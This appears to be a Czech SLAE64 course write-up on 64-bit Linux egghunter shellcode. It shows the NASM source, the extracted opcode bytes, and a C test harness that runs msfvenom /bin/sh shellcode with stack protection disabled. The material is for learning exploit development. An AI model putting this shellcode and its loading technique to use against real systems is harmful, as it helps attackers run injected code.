Analýza 64bitového Egghunter Shellcodu

Ve třetím textu této 64bitové série bude demonstrována analýza shellcodu egghunteru a vytvoření funkčního dema, které bude konfigurovatelné pro různé payloady.

Jako referenční materiál pro 32bitový egghunter doporučuji tento zdroj: https://www.exploit-db.com/docs/18482

Egghunter je shaged shellcode, který se používá, když potřebujeme najít větší prostor v paměti pro uložení shellcodu. Egghunter musí být velmi krátký kód, který je schopný fungovat efektivně, protože prohledat celou PE je náročné na CPU. V egghunteru je uložen krátký 4 bytový řetězec, který musí být egghunterem nalezen v paměti 2x (pro zamezení kolize s egghunterem samotným). Egghunter může fungovat mnoha způsoby, pravděpodovně nejvhodnější implementace na Windows je pomocí syscallů NtDisplayString, nebo NtAccessCheck s provedenými malými modifikacemi. V tomto textu bude použit egghunter na Linux, který bude zneužívat syscall access a VAS. Jako zdroj budeme využívat výborný text od Skape.

  • less /usr/include/x86_64-linux-gnu/asm/unistd_64.h
    • #define __NR_access 21 = RAX = 15
  • int access(const char *pathname, int mode)
    • pathname = argument for address validation
    • mode = accessibility check
; Filename: egghunter64.nasm
; Author: SLAE64-14209
 
global _start
section .text
 
egg equ 'W00T' ; for easy configuration
 
_start:
xor rsi, rsi ; zeroize RSI register
mov rdi, rsi ; start at 0x0
 
next_address:
or di,0xfff ; PAGE_SIZE -> RDI
inc rdi ; RDI + 1 
 
next_step:
push 0x15 
pop rax ; syscall access() 21
syscall
cmp al, 0xf2 ; EFAULT?
jz next_address ; if efault happens go back and start again
 
search:
mov eax, egg
dec al
scasd
jnz next_address
 
execution:
jmp rdi ; egg found

Celý nasm soubor můžete nalézt zde: 

https://github.com/Pal1Sec/SLAE64/blob/master/Assignment%203/egghunter64.nasm

Soubor zkompilujeme:

  • nasm -f elf64 -o egghunter64.o egghunter64.nasm
  • ld egghunter64.o -o egghunter64
  • objdump -d ./egghunter64 |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x48\x31\xf6\x48\x89\xf7\x66\x81\xcf\xff\x0f\x48\xff\xc7\x6a\x15\x58\x0f\x05\x3c\xf2\x74\xef\xb8\x57\x30\x30\x54\xfe\xc8\xaf\x75\xed\xff\xe7”

Vytvoříme C soubor:

#include <stdio.h>  
#include <string.h>  
 
#define EGG "\x57\x30\x30\x54"
 
unsigned char egghunter[] = \
"\x48\x31\xf6\x48\x89\xf7\x66\x81\xcf\xff\x0f\x48\xff\xc7\x6a\x15\x58\x0f\x05\x3c\xf2\x74\xef\xb8\x57\x30\x30\x54\xfe\xc8\xaf\x75\xed\xff\xe7";
 
// msfvenom -p linux/x64/exec CMD=/bin/sh -f c (we can easily replace it with something else)
 
unsigned char shellcode[] = EGG EGG \
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53"
"\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x08\x00"
"\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57\x48\x89\xe6"
"\x0f\x05";
 
int main()
{
printf("Egg Location: %p\n", shellcode);  
printf("Egghunter size: %d\n", strlen(egghunter));
printf("Shellcode size: %d\n", strlen(shellcode));  
int (*ret)() = (int(*)())egghunter;  
ret();
}

A zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64